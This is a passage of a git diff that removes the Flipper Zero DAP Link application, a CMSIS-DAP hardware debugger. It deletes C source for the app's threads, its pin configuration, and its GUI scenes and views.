cdc_deinit_uart(uart_pins_prev); - free(rx_buffer); - furi_stream_buffer_free(app->rx_stream); - free(app); - - return 0; -} - -/***************************************************************************/ -/******************************* MAIN APP **********************************/ -/***************************************************************************/ - -static DapApp* dap_app_alloc() { - DapApp* dap_app = malloc(sizeof(DapApp)); - dap_app->dap_thread = furi_thread_alloc_ex("DAP Process", 1024, dap_process, dap_app); - dap_app->cdc_thread = furi_thread_alloc_ex("DAP CDC", 1024, cdc_process, dap_app); - dap_app->gui_thread = furi_thread_alloc_ex("DAP GUI", 1024, dap_gui_thread, dap_app); - return dap_app; -} - -static void dap_app_free(DapApp* dap_app) { - furi_assert(dap_app); - furi_thread_free(dap_app->dap_thread); - furi_thread_free(dap_app->cdc_thread); - furi_thread_free(dap_app->gui_thread); - free(dap_app); -} - -static DapApp* app_handle = NULL; - -void dap_app_disconnect() { - app_handle->state.dap_mode = DapModeDisconnected; -} - -void dap_app_connect_swd() { - app_handle->state.dap_mode = DapModeSWD; -} - -void dap_app_connect_jtag() { - app_handle->state.dap_mode = DapModeJTAG; -} - -void dap_app_set_config(DapApp* app, DapConfig* config) { - app->config = *config; - furi_thread_flags_set(furi_thread_get_id(app->dap_thread), DAPThreadEventApplyConfig); - furi_thread_flags_set(furi_thread_get_id(app->cdc_thread), CDCThreadEventApplyConfig); -} - -DapConfig* dap_app_get_config(DapApp* app) { - return &app->config; -} - -int32_t dap_link_app(void* p) { - UNUSED(p); - - if(furi_hal_usb_is_locked()) { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header(message, "Connection\nis active!", 3, 2, AlignLeft, AlignTop); - dialog_message_set_text( - message, - "Disconnect from\nPC or phone to\nuse this function.", - 3, - 30, - AlignLeft, - AlignTop); - dialog_message_set_icon(message, &I_ActiveConnection_50x64, 78, 0); - dialog_message_show(dialogs, message); - dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); - return -1; - } - - // alloc app - DapApp* app = dap_app_alloc(); - app_handle = app; - - furi_thread_start(app->dap_thread); - furi_thread_start(app->cdc_thread); - furi_thread_start(app->gui_thread); - - // wait until gui thread is finished - furi_thread_join(app->gui_thread); - - // send stop event to threads - dap_thread_send_stop(app->dap_thread); - dap_thread_send_stop(app->cdc_thread); - - // wait for threads to stop - furi_thread_join(app->dap_thread); - furi_thread_join(app->cdc_thread); - - // free app - dap_app_free(app); - - return 0; -} \ No newline at end of file diff --git a/applications/external/dap_link/dap_link.h b/applications/external/dap_link/dap_link.h deleted file mode 100644 index d51726c45..000000000 --- a/applications/external/dap_link/dap_link.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once -#include - -typedef enum { - DapModeDisconnected, - DapModeSWD, - DapModeJTAG, -} DapMode; - -typedef enum { - DapVersionUnknown, - DapVersionV1, - DapVersionV2, -} DapVersion; - -typedef struct { - bool usb_connected; - DapMode dap_mode; - DapVersion dap_version; - uint32_t dap_counter; - uint32_t cdc_baudrate; - uint32_t cdc_tx_counter; - uint32_t cdc_rx_counter; -} DapState; - -typedef enum { - DapSwdPinsPA7PA6, // Pins 2, 3 - DapSwdPinsPA14PA13, // Pins 10, 12 -} DapSwdPins; - -typedef enum { - DapUartTypeUSART1, // Pins 13, 14 - DapUartTypeLPUART1, // Pins 15, 16 -} DapUartType; - -typedef enum { - DapUartTXRXNormal, - DapUartTXRXSwap, -} DapUartTXRX; - -typedef struct { - DapSwdPins swd_pins; - DapUartType uart_pins; - DapUartTXRX uart_swap; -} DapConfig; - -typedef struct DapApp DapApp; - -void dap_app_get_state(DapApp* app, DapState* state); - -const char* dap_app_get_serial(DapApp* app); - -void dap_app_set_config(DapApp* app, DapConfig* config); - -DapConfig* dap_app_get_config(DapApp* app); \ No newline at end of file diff --git a/applications/external/dap_link/dap_link.png b/applications/external/dap_link/dap_link.png deleted file mode 100644 index 2278ce2b6..000000000 Binary files a/applications/external/dap_link/dap_link.png and /dev/null differ diff --git a/applications/external/dap_link/gui/dap_gui.c b/applications/external/dap_link/gui/dap_gui.c deleted file mode 100644 index 4dd986153..000000000 --- a/applications/external/dap_link/gui/dap_gui.c +++ /dev/null @@ -1,92 +0,0 @@ -#include "dap_gui.h" -#include "dap_gui_i.h" - -#define DAP_GUI_TICK 250 - -static bool dap_gui_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - DapGuiApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool dap_gui_back_event_callback(void* context) { - furi_assert(context); - DapGuiApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void dap_gui_tick_event_callback(void* context) { - furi_assert(context); - DapGuiApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -DapGuiApp* dap_gui_alloc() { - DapGuiApp* app = malloc(sizeof(DapGuiApp)); - app->gui = furi_record_open(RECORD_GUI); - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&dap_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback(app->view_dispatcher, dap_gui_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, dap_gui_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, dap_gui_tick_event_callback, DAP_GUI_TICK); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - DapGuiAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - app->main_view = dap_main_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, DapGuiAppViewMainView, dap_main_view_get_view(app->main_view)); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, DapGuiAppViewWidget, widget_get_view(app->widget)); - - scene_manager_next_scene(app->scene_manager, DapSceneMain); - - return app; -} - -void dap_gui_free(DapGuiApp* app) { - view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewVarItemList); - variable_item_list_free(app->var_item_list); - - view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewMainView); - dap_main_view_free(app->main_view); - - view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewWidget); - widget_free(app->widget); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Close records - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - - free(app); -} - -int32_t dap_gui_thread(void* arg) { - DapGuiApp* app = dap_gui_alloc(); - app->dap_app = arg; - - notification_message_block(app->notifications, &sequence_display_backlight_enforce_on); - view_dispatcher_run(app->view_dispatcher); - notification_message_block(app->notifications, &sequence_display_backlight_enforce_auto); - - dap_gui_free(app); - return 0; -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/dap_gui.h b/applications/external/dap_link/gui/dap_gui.h deleted file mode 100644 index 3d8e6bdf9..000000000 --- a/applications/external/dap_link/gui/dap_gui.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once -#include - -int32_t dap_gui_thread(void* arg); \ No newline at end of file diff --git a/applications/external/dap_link/gui/dap_gui_custom_event.h b/applications/external/dap_link/gui/dap_gui_custom_event.h deleted file mode 100644 index 8b127c9d4..000000000 --- a/applications/external/dap_link/gui/dap_gui_custom_event.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -typedef enum { - DapAppCustomEventConfig, - DapAppCustomEventHelp, - DapAppCustomEventAbout, -} DapAppCustomEvent; diff --git a/applications/external/dap_link/gui/dap_gui_i.h b/applications/external/dap_link/gui/dap_gui_i.h deleted file mode 100644 index 59411e78c..000000000 --- a/applications/external/dap_link/gui/dap_gui_i.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include - -#include "dap_gui.h" -#include "../dap_link.h" -#include "scenes/config/dap_scene.h" -#include "dap_gui_custom_event.h" -#include "views/dap_main_view.h" - -typedef struct { - DapApp* dap_app; - - Gui* gui; - NotificationApp* notifications; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - VariableItemList* var_item_list; - DapMainView* main_view; - Widget* widget; -} DapGuiApp; - -typedef enum { - DapGuiAppViewVarItemList, - DapGuiAppViewMainView, - DapGuiAppViewWidget, -} DapGuiAppView; diff --git a/applications/external/dap_link/gui/scenes/config/dap_scene.c b/applications/external/dap_link/gui/scenes/config/dap_scene.c deleted file mode 100644 index 37e235540..000000000 --- a/applications/external/dap_link/gui/scenes/config/dap_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "dap_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const dap_scene_on_enter_handlers[])(void*) = { -#include "dap_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const dap_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "dap_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const dap_scene_on_exit_handlers[])(void* context) = { -#include "dap_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers dap_scene_handlers = { - .on_enter_handlers = dap_scene_on_enter_handlers, - .on_event_handlers = dap_scene_on_event_handlers, - .on_exit_handlers = dap_scene_on_exit_handlers, - .scene_num = DapSceneNum, -}; diff --git a/applications/external/dap_link/gui/scenes/config/dap_scene.h b/applications/external/dap_link/gui/scenes/config/dap_scene.h deleted file mode 100644 index 6fb38da4a..000000000 --- a/applications/external/dap_link/gui/scenes/config/dap_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) DapScene##id, -typedef enum { -#include "dap_scene_config.h" - DapSceneNum, -} DapScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers dap_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "dap_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "dap_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "dap_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/dap_link/gui/scenes/config/dap_scene_config.h b/applications/external/dap_link/gui/scenes/config/dap_scene_config.h deleted file mode 100644 index 8957aca06..000000000 --- a/applications/external/dap_link/gui/scenes/config/dap_scene_config.h +++ /dev/null @@ -1,4 +0,0 @@ -ADD_SCENE(dap, main, Main) -ADD_SCENE(dap, config, Config) -ADD_SCENE(dap, help, Help) -ADD_SCENE(dap, about, About) \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_about.c b/applications/external/dap_link/gui/scenes/dap_scene_about.c deleted file mode 100644 index 0974e60a7..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_about.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "../dap_gui_i.h" - -#define DAP_VERSION_APP "0.1.0" -#define DAP_DEVELOPED "Dr_Zlo" -#define DAP_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" - -void dap_scene_about_on_enter(void* context) { - DapGuiApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", DAP_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", DAP_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", DAP_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, "CMSIS-DAP debugger\nbased on Free-DAP\nThanks to Alex Taradov\n\n"); - - furi_string_cat_printf( - temp_str, - "Supported protocols:\n" - "SWD, JTAG, UART\n" - "DAP v1 (cmsis_backend hid), DAP v2 (cmsis_backend usb_bulk), VCP\n"); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! DAP Link \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewWidget); -} - -bool dap_scene_about_on_event(void* context, SceneManagerEvent event) { - DapGuiApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void dap_scene_about_on_exit(void* context) { - DapGuiApp* app = context; - - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/dap_link/gui/scenes/dap_scene_config.c b/applications/external/dap_link/gui/scenes/dap_scene_config.c deleted file mode 100644 index 48d5fedcd..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_config.c +++ /dev/null @@ -1,107 +0,0 @@ -#include "../dap_gui_i.h" - -static const char* swd_pins[] = {[DapSwdPinsPA7PA6] = "2,3", [DapSwdPinsPA14PA13] = "10,12"}; -static const char* uart_pins[] = {[DapUartTypeUSART1] = "13,14", [DapUartTypeLPUART1] = "15,16"}; -static const char* uart_swap[] = {[DapUartTXRXNormal] = "No", [DapUartTXRXSwap] = "Yes"}; - -static void swd_pins_cb(VariableItem* item) { - DapGuiApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, swd_pins[index]); - - DapConfig* config = dap_app_get_config(app->dap_app); - config->swd_pins = index; - dap_app_set_config(app->dap_app, config); -} - -static void uart_pins_cb(VariableItem* item) { - DapGuiApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, uart_pins[index]); - - DapConfig* config = dap_app_get_config(app->dap_app); - config->uart_pins = index; - dap_app_set_config(app->dap_app, config); -} - -static void uart_swap_cb(VariableItem* item) { - DapGuiApp* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - - variable_item_set_current_value_text(item, uart_swap[index]); - - DapConfig* config = dap_app_get_config(app->dap_app); - config->uart_swap = index; - dap_app_set_config(app->dap_app, config); -} - -static void ok_cb(void* context, uint32_t index) { - DapGuiApp* app = context; - switch(index) { - case 3: - view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventHelp); - break; - case 4: - view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventAbout); - break; - default: - break; - } -} - -void dap_scene_config_on_enter(void* context) { - DapGuiApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - VariableItem* item; - DapConfig* config = dap_app_get_config(app->dap_app); - - item = variable_item_list_add( - var_item_list, "SWC SWD Pins", COUNT_OF(swd_pins), swd_pins_cb, app); - variable_item_set_current_value_index(item, config->swd_pins); - variable_item_set_current_value_text(item, swd_pins[config->swd_pins]); - - item = - variable_item_list_add(var_item_list, "UART Pins", COUNT_OF(uart_pins), uart_pins_cb, app); - variable_item_set_current_value_index(item, config->uart_pins); - variable_item_set_current_value_text(item, uart_pins[config->uart_pins]); - - item = variable_item_list_add( - var_item_list, "Swap TX RX", COUNT_OF(uart_swap), uart_swap_cb, app); - variable_item_set_current_value_index(item, config->uart_swap); - variable_item_set_current_value_text(item, uart_swap[config->uart_swap]); - - variable_item_list_add(var_item_list, "Help and Pinout", 0, NULL, NULL); - variable_item_list_add(var_item_list, "About", 0, NULL, NULL); - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, DapSceneConfig)); - - variable_item_list_set_enter_callback(var_item_list, ok_cb, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewVarItemList); -} - -bool dap_scene_config_on_event(void* context, SceneManagerEvent event) { - DapGuiApp* app = context; - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == DapAppCustomEventHelp) { - scene_manager_next_scene(app->scene_manager, DapSceneHelp); - return true; - } else if(event.event == DapAppCustomEventAbout) { - scene_manager_next_scene(app->scene_manager, DapSceneAbout); - return true; - } - } - return false; -} - -void dap_scene_config_on_exit(void* context) { - DapGuiApp* app = context; - scene_manager_set_scene_state( - app->scene_manager, - DapSceneConfig, - variable_item_list_get_selected_item_index(app->var_item_list)); - variable_item_list_reset(app->var_item_list); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_help.c b/applications/external/dap_link/gui/scenes/dap_scene_help.c deleted file mode 100644 index d8d70e7ff..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_help.c +++ /dev/null @@ -1,102 +0,0 @@ -#include "../dap_gui_i.h" - -void dap_scene_help_on_enter(void* context) { - DapGuiApp* app = context; - DapConfig* config = dap_app_get_config(app->dap_app); - FuriString* string = furi_string_alloc(); - - furi_string_cat(string, "CMSIS DAP/DAP Link v2\r\n"); - furi_string_cat_printf(string, "Serial: %s\r\n", dap_app_get_serial(app->dap_app)); - furi_string_cat( - string, - "Pinout:\r\n" - "\e#SWD:\r\n"); - - switch(config->swd_pins) { - case DapSwdPinsPA7PA6: - furi_string_cat( - string, - " SWC: 2 [A7]\r\n" - " SWD: 3 [A6]\r\n"); - break; - case DapSwdPinsPA14PA13: - furi_string_cat( - string, - " SWC: 10 [SWC]\r\n" - " SWD: 12 [SIO]\r\n"); - break; - default: - break; - } - - furi_string_cat(string, "\e#JTAG:\r\n"); - switch(config->swd_pins) { - case DapSwdPinsPA7PA6: - furi_string_cat( - string, - " TCK: 2 [A7]\r\n" - " TMS: 3 [A6]\r\n" - " RST: 4 [A4]\r\n" - " TDO: 5 [B3]\r\n" - " TDI: 6 [B2]\r\n"); - break; - case DapSwdPinsPA14PA13: - furi_string_cat( - string, - " RST: 4 [A4]\r\n" - " TDO: 5 [B3]\r\n" - " TDI: 6 [B2]\r\n" - " TCK: 10 [SWC]\r\n" - " TMS: 12 [SIO]\r\n"); - break; - default: - break; - } - - furi_string_cat(string, "\e#UART:\r\n"); - switch(config->uart_pins) { - case DapUartTypeUSART1: - if(config->uart_swap == DapUartTXRXNormal) { - furi_string_cat( - string, - " TX: 13 [TX]\r\n" - " RX: 14 [RX]\r\n"); - } else { - furi_string_cat( - string, - " RX: 13 [TX]\r\n" - " TX: 14 [RX]\r\n"); - } - break; - case DapUartTypeLPUART1: - if(config->uart_swap == DapUartTXRXNormal) { - furi_string_cat( - string, - " TX: 15 [C1]\r\n" - " RX: 16 [C0]\r\n"); - } else { - furi_string_cat( - string, - " RX: 15 [C1]\r\n" - " TX: 16 [C0]\r\n"); - } - break; - default: - break; - } - - widget_add_text_scroll_element(app->widget, 0, 0, 128, 64, furi_string_get_cstr(string)); - furi_string_free(string); - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewWidget); -} - -bool dap_scene_help_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void dap_scene_help_on_exit(void* context) { - DapGuiApp* app = context; - widget_reset(app->widget); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/scenes/dap_scene_main.c b/applications/external/dap_link/gui/scenes/dap_scene_main.c deleted file mode 100644 index 8c19bd6a5..000000000 --- a/applications/external/dap_link/gui/scenes/dap_scene_main.c +++ /dev/null @@ -1,154 +0,0 @@ -#include "../dap_gui_i.h" -#include "../../dap_link.h" - -typedef struct { - DapState dap_state; - bool dap_active; - bool tx_active; - bool rx_active; -} DapSceneMainState; - -static bool process_dap_state(DapGuiApp* app) { - DapSceneMainState* state = - (DapSceneMainState*)scene_manager_get_scene_state(app->scene_manager, DapSceneMain); - if(state == NULL) return true; - - DapState* prev_state = &state->dap_state; - DapState next_state; - dap_app_get_state(app->dap_app, &next_state); - bool need_to_update = false; - - if(prev_state->dap_mode != next_state.dap_mode) { - switch(next_state.dap_mode) { - case DapModeDisconnected: - dap_main_view_set_mode(app->main_view, DapMainViewModeDisconnected); - notification_message(app->notifications, &sequence_blink_stop); - break; - case DapModeSWD: - dap_main_view_set_mode(app->main_view, DapMainViewModeSWD); - notification_message(app->notifications, &sequence_blink_start_blue); - break; - case DapModeJTAG: - dap_main_view_set_mode(app->main_view, DapMainViewModeJTAG); - notification_message(app->notifications, &sequence_blink_start_magenta); - break; - } - need_to_update = true; - } - - if(prev_state->dap_version != next_state.dap_version) { - switch(next_state.dap_version) { - case DapVersionUnknown: - dap_main_view_set_version(app->main_view, DapMainViewVersionUnknown); - break; - case DapVersionV1: - dap_main_view_set_version(app->main_view, DapMainViewVersionV1); - break; - case DapVersionV2: - dap_main_view_set_version(app->main_view, DapMainViewVersionV2); - break; - } - need_to_update = true; - } - - if(prev_state->usb_connected != next_state.usb_connected) { - dap_main_view_set_usb_connected(app->main_view, next_state.usb_connected); - need_to_update = true; - } - - if(prev_state->dap_counter != next_state.dap_counter) { - if(!state->dap_active) { - state->dap_active = true; - dap_main_view_set_dap(app->main_view, state->dap_active); - need_to_update = true; - } - } else { - if(state->dap_active) { - state->dap_active = false; - dap_main_view_set_dap(app->main_view, state->dap_active); - need_to_update = true; - } - } - - if(prev_state->cdc_baudrate != next_state.cdc_baudrate) { - dap_main_view_set_baudrate(app->main_view, next_state.cdc_baudrate); - need_to_update = true; - } - - if(prev_state->cdc_tx_counter != next_state.cdc_tx_counter) { - if(!state->tx_active) { - state->tx_active = true; - dap_main_view_set_tx(app->main_view, state->tx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_start_red); - } - } else { - if(state->tx_active) { - state->tx_active = false; - dap_main_view_set_tx(app->main_view, state->tx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_stop); - } - } - - if(prev_state->cdc_rx_counter != next_state.cdc_rx_counter) { - if(!state->rx_active) { - state->rx_active = true; - dap_main_view_set_rx(app->main_view, state->rx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_start_green); - } - } else { - if(state->rx_active) { - state->rx_active = false; - dap_main_view_set_rx(app->main_view, state->rx_active); - need_to_update = true; - notification_message(app->notifications, &sequence_blink_stop); - } - } - - if(need_to_update) { - dap_main_view_update(app->main_view); - } - - *prev_state = next_state; - return true; -} - -static void dap_scene_main_on_left(void* context) { - DapGuiApp* app = (DapGuiApp*)context; - view_dispatcher_send_custom_event(app->view_dispatcher, DapAppCustomEventConfig); -} - -void dap_scene_main_on_enter(void* context) { - DapGuiApp* app = context; - DapSceneMainState* state = malloc(sizeof(DapSceneMainState)); - dap_main_view_set_left_callback(app->main_view, dap_scene_main_on_left, app); - view_dispatcher_switch_to_view(app->view_dispatcher, DapGuiAppViewMainView); - scene_manager_set_scene_state(app->scene_manager, DapSceneMain, (uint32_t)state); -} - -bool dap_scene_main_on_event(void* context, SceneManagerEvent event) { - DapGuiApp* app = context; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == DapAppCustomEventConfig) { - scene_manager_next_scene(app->scene_manager, DapSceneConfig); - return true; - } - } else if(event.type == SceneManagerEventTypeTick) { - return process_dap_state(app); - } - - return false; -} - -void dap_scene_main_on_exit(void* context) { - DapGuiApp* app = context; - DapSceneMainState* state = - (DapSceneMainState*)scene_manager_get_scene_state(app->scene_manager, DapSceneMain); - scene_manager_set_scene_state(app->scene_manager, DapSceneMain, (uint32_t)NULL); - FURI_SW_MEMBARRIER(); - free(state); - notification_message(app->notifications, &sequence_blink_stop); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/views/dap_main_view.c b/applications/external/dap_link/gui/views/dap_main_view.c deleted file mode 100644 index 15f285698..000000000 --- a/applications/external/dap_link/gui/views/dap_main_view.c +++ /dev/null @@ -1,190 +0,0 @@ -#include "dap_main_view.h" -#include "dap_link_icons.h" -#include -#include - -// extern const Icon I_ArrowDownEmpty_12x18; -// extern const Icon I_ArrowDownFilled_12x18; -// extern const Icon I_ArrowUpEmpty_12x18; -// extern const Icon I_ArrowUpFilled_12x18; - -struct DapMainView { - View* view; - DapMainViewButtonCallback cb_left; - void* cb_context; -}; - -typedef struct { - DapMainViewMode mode; - DapMainViewVersion version; - bool usb_connected; - uint32_t baudrate; - bool dap_active; - bool tx_active; - bool rx_active; -} DapMainViewModel; - -static void dap_main_view_draw_callback(Canvas* canvas, void* _model) { - DapMainViewModel* model = _model; - UNUSED(model); - canvas_clear(canvas); - elements_button_left(canvas, "Config"); - - canvas_set_color(canvas, ColorBlack); - canvas_draw_box(canvas, 0, 0, 127, 11); - canvas_set_color(canvas, ColorWhite); - - const char* header_string; - if(model->usb_connected) { - if(model->version == DapMainViewVersionV1) { - header_string = "DAP Link V1 Connected"; - } else if(model->version == DapMainViewVersionV2) { - header_string = "DAP Link V2 Connected"; - } else { - header_string = "DAP Link Connected"; - } - } else { - header_string = "DAP Link"; - } - - canvas_draw_str_aligned(canvas, 64, 9, AlignCenter, AlignBottom, header_string); - - canvas_set_color(canvas, ColorBlack); - if(model->dap_active) { - canvas_draw_icon(canvas, 14, 16, &I_ArrowUpFilled_12x18); - canvas_draw_icon_ex(canvas, 28, 16, &I_ArrowUpFilled_12x18, IconRotation180); - } else { - canvas_draw_icon(canvas, 14, 16, &I_ArrowUpEmpty_12x18); - canvas_draw_icon_ex(canvas, 28, 16, &I_ArrowUpEmpty_12x18, IconRotation180); - } - - switch(model->mode) { - case DapMainViewModeDisconnected: - canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "----"); - break; - case DapMainViewModeSWD: - canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "SWD"); - break; - case DapMainViewModeJTAG: - canvas_draw_str_aligned(canvas, 26, 38, AlignCenter, AlignTop, "JTAG"); - break; - } - - if(model->tx_active) { - canvas_draw_icon(canvas, 87, 16, &I_ArrowUpFilled_12x18); - } else { - canvas_draw_icon(canvas, 87, 16, &I_ArrowUpEmpty_12x18); - } - - if(model->rx_active) { - canvas_draw_icon_ex(canvas, 101, 16, &I_ArrowUpFilled_12x18, IconRotation180); - } else { - canvas_draw_icon_ex(canvas, 101, 16, &I_ArrowUpEmpty_12x18, IconRotation180); - } - - canvas_draw_str_aligned(canvas, 100, 38, AlignCenter, AlignTop, "UART"); - - canvas_draw_line(canvas, 44, 52, 123, 52); - if(model->baudrate == 0) { - canvas_draw_str(canvas, 45, 62, "Baud: ????"); - } else { - char baudrate_str[18]; - snprintf(baudrate_str, 18, "Baud: %lu", model->baudrate); - canvas_draw_str(canvas, 45, 62, baudrate_str); - } -} - -static bool dap_main_view_input_callback(InputEvent* event, void* context) { - furi_assert(context); - DapMainView* dap_main_view = context; - bool consumed = false; - - if(event->type == InputTypeShort) { - if(event->key == InputKeyLeft) { - if(dap_main_view->cb_left) { - dap_main_view->cb_left(dap_main_view->cb_context); - } - consumed = true; - } - } - - return consumed; -} - -DapMainView* dap_main_view_alloc() { - DapMainView* dap_main_view = malloc(sizeof(DapMainView)); - - dap_main_view->view = view_alloc(); - view_allocate_model(dap_main_view->view, ViewModelTypeLocking, sizeof(DapMainViewModel)); - view_set_context(dap_main_view->view, dap_main_view); - view_set_draw_callback(dap_main_view->view, dap_main_view_draw_callback); - view_set_input_callback(dap_main_view->view, dap_main_view_input_callback); - return dap_main_view; -} - -void dap_main_view_free(DapMainView* dap_main_view) { - view_free(dap_main_view->view); - free(dap_main_view); -} - -View* dap_main_view_get_view(DapMainView* dap_main_view) { - return dap_main_view->view; -} - -void dap_main_view_set_left_callback( - DapMainView* dap_main_view, - DapMainViewButtonCallback callback, - void* context) { - with_view_model( - dap_main_view->view, - DapMainViewModel * model, - { - UNUSED(model); - dap_main_view->cb_left = callback; - dap_main_view->cb_context = context; - }, - true); -} - -void dap_main_view_set_mode(DapMainView* dap_main_view, DapMainViewMode mode) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->mode = mode; }, false); -} - -void dap_main_view_set_dap(DapMainView* dap_main_view, bool active) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->dap_active = active; }, false); -} - -void dap_main_view_set_tx(DapMainView* dap_main_view, bool active) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->tx_active = active; }, false); -} - -void dap_main_view_set_rx(DapMainView* dap_main_view, bool active) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->rx_active = active; }, false); -} - -void dap_main_view_set_baudrate(DapMainView* dap_main_view, uint32_t baudrate) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->baudrate = baudrate; }, false); -} - -void dap_main_view_update(DapMainView* dap_main_view) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { UNUSED(model); }, true); -} - -void dap_main_view_set_version(DapMainView* dap_main_view, DapMainViewVersion version) { - with_view_model( - dap_main_view->view, DapMainViewModel * model, { model->version = version; }, false); -} - -void dap_main_view_set_usb_connected(DapMainView* dap_main_view, bool connected) { - with_view_model( - dap_main_view->view, - DapMainViewModel * model, - { model->usb_connected = connected; }, - false); -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/views/dap_main_view.h b/applications/external/dap_link/gui/views/dap_main_view.h deleted file mode 100644 index 1fd900452..000000000 --- a/applications/external/dap_link/gui/views/dap_main_view.h +++ /dev/null @@ -1,45 +0,0 @@ -#pragma once -#include - -typedef struct DapMainView DapMainView; - -typedef void (*DapMainViewButtonCallback)(void* context); - -typedef enum { - 